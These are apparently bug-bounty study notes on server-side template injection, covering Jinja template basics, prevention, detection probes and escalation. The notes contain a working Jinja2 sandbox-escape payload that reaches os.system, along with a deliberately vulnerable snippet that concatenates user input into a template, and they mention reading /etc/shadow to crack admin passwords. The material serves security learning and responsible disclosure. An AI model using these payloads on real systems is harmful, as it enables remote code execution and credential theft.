Template Injection

⋮ 15/08/2022

Aug 14, 2022

15 min read
SSTI Web-Notes

Template engines are a type of software used to determine the appearance of a web page. Developers often overlook attacks that target these engines, called *server-side template injections* (SSTIs), yet they can lead to severe consequences, like remote code execution.

References

Client Side Template Injection (CSTI)

Template Injection in Action

Web Application Penetration Testing Notes

pentest-guide/Server-Side-Template-Injection at master · Voorivex/pentest-guide

SSTI (Server Side Template Injection)

HowToHunt/SSTI.md at master · KathanP19/HowToHunt

SSTI

SSTI

Server-side template injection | Web Security Academy

Mechanisms

Simply put, *template engines* combine application data with web templates to produce web pages. These web templates, written in template languages such as **Jinja**, provide developers with a way to specify how a page should be rendered. Together, web templates and template engines allow developers to separate **server-side application logic** and **client-side presentation code** during web development.

Template Engines

Here is a template file written in Jinja. We will store this file with the name `example.jinja`:

```
<html>
 <body>
        <h1>{{ list_title }}</h1> ## template first embeds the expressions
list_title and list_description in HTML header tags
 <h2>{{ list_description }}</h2>
        {% for item in item_list %} ## Then it creates a loop to render all
items in the item_list variable in the HTML body
 {{ item }}
 {% if not loop.last %},{% endif %}
 {% endfor %}
 </body>
</html>
```

In Jinja, any code surrounded by double **curly brackets** {{ }} is to be interpreted as a Python expression, and code surrounded by **bracket and percent** sign pairings {% %} should be interpreted as a Python statement.

In programming languages, an *expression* is either a variable or a function that returns a value, whereas a statement is code that doesn't return anything.

The following piece of Python code reads the template file from `example.jinja` and generates an HTML page dynamically by providing the template engine with values to insert into the template:

```
from jinja2 import Template
 with open('example.jinja') as f: ## Python code reads the template file
named example.jinja
 tmpl = Template(f.read())
print(tmpl.render(  ## generates an HTML page dynamically by providing the
template with  the values it needs
 list_title =  "Chapter Contents", ## rendering the template with the
values Chapter Contents as the list_title
         list_description =  "Here are the contents of chapter 16.", ## and
Here are the contents of chapter 16. as the list_description
 item_list =  ["Mechanisms Of Template Injection", "Preventing Template
Injection", ## list of values as the item_list
"Hunting For Template Injection", \
"Escalating Template Injection", "Automating Template Injection", "Find
Your First Template
Injection!"]
))
```

The template engine will combine the data provided in the Python script and the template file `example.jinja` to create this HTML page:

```
<html>
 <body>
 <h1>Chapter Contents</h1>
 <h2>Here are the contents of chapter 16.</h2>
 Mechanisms Of Template Injection,
 Preventing Template Injection,
 Hunting For Template Injection,
 Escalating Template Injection,
 Automating Template Injection,
 Find Your First Template Injection!
 </body>
</html>
```

Template engines make rendering web pages **more efficient**, as developers can present different sets of data in a standardized way by reusing templates. This functionality is especially useful **when developers need to generate pages of the same format** with custom content, such as bulk emails, individual item pages on an online marketplace, and the profile pages of different users. **Separating** HTML code and application logic also makes it easier for developers to **modify and maintain** parts of the HTML code.

Popular template engines on the market include *Jinja*, *Django*, and *Mako* (which work with Python), *Smarty* and *Twig* (which work with PHP), and *Apache FreeMarker* and *Apache Velocity* (which work with Java).

Injecting Template Code

Template injection vulnerabilities happen when a user is able to inject input into templates without **proper sanitization**.

Even if the preceding Python snippet does **pass user input into the template** like this, the code would not be vulnerable to template injection because it is safely passing user input into the template as data:

```
from jinja2 import Template
with open('example.jinja') as f:
 tmpl = Template(f.read())
print(tmpl.render(
         list_title = user_input.title, ## defining that the title portion
of the user_input can be used only as the list_title
          list_description = user_input.description, ## the description
portion of the user_input is the list_description
                 item_list = user_input.list, ## list portion of the
user_input can be used for the item_list of the template
))
```

Here's an example. The following program takes user input and inserts it into a Jinja template to display the user's name on an HTML page:

```
from jinja2 import Template
tmpl = Template("
<html><h1>The user's name is: " + user_input + "</h1></html>") ## code
first creates a template by concatenating HTML code and user input together
print(tmpl.render()) ## renders the template
```

If users submit a GET request to that page, the website will return an HTML page that displays their name:

```
GET /display_name?name=Vickie
Host: example.com
```

This request will cause the template engine to render the following page:

```
<html>
 <h1>The user's name is: Vickie</h1>
</html>
```

Now, what if you submitted a payload like the following instead?

```
GET /display_name?name={{1+1}}
Host: example.com
```

`Jinja2` interprets anything within double curly brackets {{ }} as **Python code**. You will notice something odd in the resulting HTML page.

Instead of displaying the string The user's name is: `{{1+1}}`, the page displays the string The user's name is: 2:

```
<html>
 <h1>The user's name is: 2</h1>
</html>
```

For instance, upper() is a method in Python that converts a string to uppercase. Try submitting the code snippet `{{'Vickie'.upper()}}`, like this:

```
GET /display_name?name={{'Vickie'.upper()}}
Host: example.com
```

You should see an HTML page like this returned:

```
<html>
 <h1>The user's name is: VICKIE</h1>
</html>
```

Depending on the permissions of the compromised application, attackers might be able to use the template injection vulnerability to **read sensitive files or escalate their privileges on the system**.

Prevention

- The first way is by regularly patching and updating the frameworks and template libraries your application uses.
- You should also prevent users from supplying `user-submitted` templates if possible.

If that isn't an option, many template engines provide a *hardened sandbox environment* that you can use to safely handle user input.

- Implement an **allowlist** for allowed attributes in templates to prevent the kind of RCE exploit
- You should handle these **errors** properly and return a generic error page to the user.
- Finally, **sanitize** user input before embedding it into web templates and avoid injecting user-supplied data into templates whenever possible.

Hunting for Template Injection

The first step in finding template injections is to identify locations in an application that *accept user input*.

Step 1: Look for User-Input Locations

These include URL paths, **parameters**, **fragments**, **HTTP request headers and body**, **file uploads**, and more. For example, applications often use template engines to generate customized email or home pages based on the user's information.

So to look for template injections, look for endpoints that **accept user input** that will eventually be displayed back to the user.

Step 2: Detect Template Injection by Submitting Test Payloads

This test string should contain **special characters** commonly used in template languages. I like to use the string `{{1+abcxx}}${1+abcxx}<%1+abcxx%>[abcxx]` because it's designed to induce errors in popular template engines. `${...}` is the special syntax for expressions in the *FreeMarker* and *Thymeleaf* Java templates; `{{...}}` is the syntax for expressions in PHP templates such as *Smarty* or *Twig*, and Python templates like Jinja2; and `<%= ... %>` is the syntax for the *Embedded Ruby template* (ERB).

In this payload, I make the template engine resolve the variable with the name `abcxx`, which probably has not been defined in the application. If you get an application error from this payload, that's a good indication of template injection, because it means that the special characters are being treated as special by the template engine.

Try providing these test payloads to the input fields `${7*7}`, `{{7*7}}`, and `<%= 7*7 %>`. These payloads are designed to detect template injection in various templating languages. `${7*7}` works for the FreeMarker and Thymeleaf Java templates; `{{7*7}}` works for PHP templates such as Smarty or Twig, and Python templates like Jinja2; and `<%= 7*7 %>` works for the ERB template.

```
GET /display_name?name={{7*7}}
Host: example.com
```

If you're targeting one of these endpoints, you'll need to look out for signs that your payload has succeeded. For example, if an application renders an input field unsafely when generating a bulk email, you will need to look at the generated email to check whether your attack has succeeded. The three test payloads `${7*7}, {{7*7}}, and <%= 7*7 %>` would work when user input is inserted into the template as plaintext, as in this code snippet:

```
from jinja2 import Template
tmpl = Template("
<html><h1>The user's name is: " + user_input + "</h1>
</html>")print(tmpl.render())
```

But what if the user input is **concatenated** into the template as a part of the template's logic, as in this code snippet?

```
from jinja2 import Template
tmpl = Template("
<html><h1>The user's name is: {{" + user_input + "}}</h1>
</html>")print(tmpl.render())
```

In that case, the best way to detect whether your input is being interpreted as code is to submit a random expression and see if it gets interpreted as an expression. In this case, you can input 7*7 to the field and see if 49 gets returned:

```
GET /display_name?name=7*7
Host: example.com
```

Step 3: Determine the Template Engine in Use

If your payload caused an error, the **error message** itself may contain the name of the template engine. For example, submitting my test string `{{1+abcxx}}${1+abcxx}<%1+abcxx%>[abcxx]` to our example Python application would cause a descriptive error that tells me that the application is using Jinja2:

```
jinja2.exceptions.UndefinedError: 'abcxx' is undefined
```

For example, if you submit `<%= 7*7 %>` as the payload and 49 gets returned, the application probably uses the ERB template. If the successful payload is `${7*7}`, the template engine could either be Smarty

or Mako. If the successful payload is `{{7*7}}`, the application is likely using Jinja2 or Twig.

Escalating the Attack

Your method of escalating the attack will depend on the template engine you're targeting. To learn more about it, read the **official documentation of the template engine** and the accompanying programming language. Here, I'll show how you can escalate a template injection vulnerability to achieve system command execution in an application running Jinja2.

For example, if an attacker can execute arbitrary system commands on a Linux machine, they can read the system's password file by executing the

command `cat /etc/shadow`. They can then use a password-cracking tool to crack the system admin's encrypted password and gain access to the admin's account.

Searching for System Access via Python Code

How do you go on to execute system commands by injecting Python code?

```
from jinja2 import Template
tmpl = Template("
<html><h1>The user's name is: " + user_input + "</h1>
</html>")print(tmpl.render())
```

Normally in Python, you can execute system commands via the `os.system()` function from the OS module ⇒ `os.system('ls')` However, if you submit this payload to our example application, you most likely won't get the results you expect:

```
GET /display_name?name={{os.system('ls')}}
Host: example.com
```

Instead, you'll probably run into an application error: `jinja2.exceptions.UndefinedError: 'os' is undefined`

This is because the OS module isn't recognized in the template's environment. By default, it doesn't contain dangerous modules like OS . Normally, you can import Python modules by using the syntax import MODULE, or from MODULE import *, or finally **import**('MODULE'). Let's try to import the os module:

```
GET /display_name?name="{{__import__('os').system('ls')}}"
Host: example.com
```

If you submit this payload to the application, you will probably see another error returned: `jinja2.exceptions.UndefinedError: '**import**' is undefined`

Most template engines will block the use of dangerous functionality such as import or make an **allowlist** that allows users to perform only certain operations within the template. To escape these limitations of Jinja2, you need to take advantage of **Python sandbox-escape techniques**.

Escaping the Sandbox by Using Python Built-in Functions

One of these techniques involves using Python's built-in functions. When you're barred from importing certain useful modules or importing anything at all, you need to investigate functions that are **already imported** by Python by default. For example, the following GET request contains Python code that lists the Python classes available:

```
GET /display_name?name="{{[].__class__.__bases__[0].__subclasses__()}}"
Host: example.com
```

When you submit this payload into the template injection endpoint, you should see a list of classes like this:

```
[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class
'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class
'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class
'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class
'dict_
keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'dict_reverse
keyiterator'>, <class 'dict_reversevalueiterator'>, <class
'dict_reverseitem
iterator'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class
'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>,
<class
'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memory
view'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class
'stderrprinter'>, <class 'code'>, <class 'frame'>, <class
'builtin_function_
or_method'>, <class 'method'>, <class 'function'>...]
```

To better understand what's happening here, let's break down this payload a bit:
`[].**class**.**bases**[0].**subclasses**()`

It first creates an empty list and calls its **class** attribute, which refers to the class the instance belongs to, list: `[].**class**`

Then you can use the **bases** attribute to refer to the base classes of the list class:
`[].**class**.**bases**`

This attribute will return a tuple (which is just an ordered list in Python) of all the base classes of the class list. A base class is a class that the current class is built from; list has a base class called object. Next, we

need to access the object class by referring to the first item in the tuple: `[].**class**.**bases**[0]`

Finally, we use **subclasses**() to refer to all the subclasses of the class: `[].**class**.**bases**[0].**subclasses**()`

Now, we simply need to look for a method in one of these classes that we can use for command execution. Let's explore one possible way of executing code. **Not all the templates have the same classes**

The **import** function, which can be used to import modules, is one of Python's built-in functions. But since Jinja2 is blocking its direct access, you will need to access it via the **builtins module**. This module provides direct access to all of Python's built-in classes and functions. Most Python modules have **builtins** as an attribute that refers to the built-in module, so you can recover the builtins module by referring to the **builtins** attribute. Within all the subclasses in `[].**class**.**bases**[0].**subclasses**()`, there is a class named `catch_warnings`. This is the subclass we'll use to construct our exploit.

To find the `catch_warnings` subclass, inject a loop into the template code to look for it:

```
{% for x in [].__class__.__bases__[0].__subclasses__() %} ##loop goes
through all the classes in [].__class__.__bases__[0].__subclasses__()
        {% if 'catch_warnings' in x.__name__ %} ## finds the one with the
string catch_warnings in its name
        {{x()}} ## Then it instantiates an object of that class
{%endif%}
{%endfor%}
```

Finally, we use the reference to the module to refer to the builtins module:

```
{% for x in [].__class__.__bases__[0].__subclasses__() %}
{% if 'catch_warnings' in x.__name__ %}
{{x()._module.__builtins__}}
{%endif%}
{%endfor%}
```

You should see a list of built-in classes and functions returned, including the function **import**:

```
{'__name__': 'builtins', '__doc__': "Built-in functions, exceptions, and
other objects.\n\
nNoteworthy: None is the 'nil' object; Ellipsis represents '...' in
slices.", '__package__':
'', '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__':
ModuleSpec(name=
'builtins', loader=<class '_frozen_importlib.BuiltinImporter'>),
'__build_class__': <built-in
```

```
function __build_class__>, '__import__': <built-in function __import__>,
'abs': <built-infunction abs>, 'all': <built-in function all>, 'any':
<built-in function any>, 'ascii':
<built-in function ascii>, 'bin': <built-in function bin>, 'breakpoint':
<built-in function
breakpoint>, 'callable': <built-in function callable>, 'chr': <built-in
function chr>,
'compile': <built-in function compile>, 'delattr': <built-in function
delattr>, 'dir':
<built-in function dir>, 'divmod': <built-in function divmod>, 'eval':
<built-in function
eval>, 'exec': <built-in function exec>, 'format': <built-in function
format>, 'getattr':
<built-in function getattr>, 'globals': <built-in function globals>,
'hasattr': <built-in
function hasattr>, 'hash': <built-in function hash>, 'hex': <built-in
function hex>, 'id':
<built-in function id>, 'input': <built-in function input>, 'isinstance':
<built-in function
isinstance>, 'issubclass': <built-in function issubclass>, 'iter': <built-
in function iter>,
'len': <built-in function len>, 'locals': <built-in function locals>,
'max': <built-in function
max>, 'min': <built-in function min>, 'next': <built-in function next>,
'oct': <built-in
function oct>, 'ord': <built-in function ord>, 'pow': <built-in function
pow>, 'print':
<built-in function print>, 'repr': <built-in function repr>, 'round':
<built-in function
round>, 'setattr': <built-in function setattr>, 'sorted': <built-in
function sorted>, 'sum':
<built-in function sum>, 'vars': <built-in function vars>, 'None': None,
'Ellipsis': Ellipsis,
'NotImplemented': NotImplemented, 'False': False, 'True': True, 'bool':
<class 'bool'>,
'memoryview': <class 'memoryview'>, 'bytearray': <class 'bytearray'>,
'bytes': <class 'bytes'>,
'classmethod': <class 'classmethod'>, ...}
```

We now have a way to access the import functionality! Since the builtin classes and functions are stored in a Python dictionary, you can access the **import** function by referring to the key of the function's entry in the dictionary:

```
{% for x in [].__class__.__bases__[0].__subclasses__() %}
{% if 'catch_warnings' in x.__name__ %}
```

```
{{x()._module.__builtins__['__import__']}}
{%endif%}
{%endfor%}
```

You can import a module with **import** by providing the name of that module as an argument. Here, let's import the OS module so we can access the `system()` function:

```
{% for x in [].__class__.__bases__[0].__subclasses__() %}
{% if 'catch_warnings' in x.__name__ %}
{{x()._module.__builtins__['__import__']('os').system('ls')}}
{%endif%}
{%endfor%}
```

This command lists the contents of the current directory. You've achieved command execution! Now, you should be able to execute arbitrary system commands with this template injection

Submitting Payloads for Testing

Use the touch command to create a file with the specified name in the current directory:

```
{% for x in [].__class__.__bases__[0].__subclasses__() %}
{% if 'warning' in x.__name__ %}
{{x()._module.__builtins__['__import__']('os').system('touch
template_injection_by_slax
.txt')}}
{%endif%}
{%endfor%}
```

If you are interested in learning more about **sandbox escapes,** these articles discuss the topic in more detail :

- CTF Wiki, https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/
- HackTricks, https://book.hacktricks.xyz/misc/basic-python/bypass-python-sandboxes/
- Programmer Help, https://programmer.help/blogs/python-sandbox-escape.html

Automating Template Injection

One tool built to automate the template injection process, called ***tplmap*** https://github.com/epinna/tplmap/ can scan for template injections, determine the template engine in use, and construct exploits. While this tool does not support every template engine, it should provide you with a good starting point for the most popular ones.

Finding Your First Template Injection!

1. Identify any opportunity to submit user input to the application. Mark down candidates of template injection for further inspection.

2. Detect template injection by submitting test payloads. You can use either payloads that are designed to induce errors, or engine-specific payloads designed to be evaluated by the template engine.
3. If you find an endpoint that is vulnerable to template injection, determine the template engine in use. This will help you build an exploit specific to the template engine.
4. Research the template engine and programming language that the target is using to construct an exploit.
5. Try to escalate the vulnerability to arbitrary command execution.
6. Create a proof of concept that does not harm the targeted system. A good way to do this is to execute touch template_injection_by_YOUR_NAME.txt to create a specific proof-of-concept file.
7. Draft your first template injection report and send it to the organization!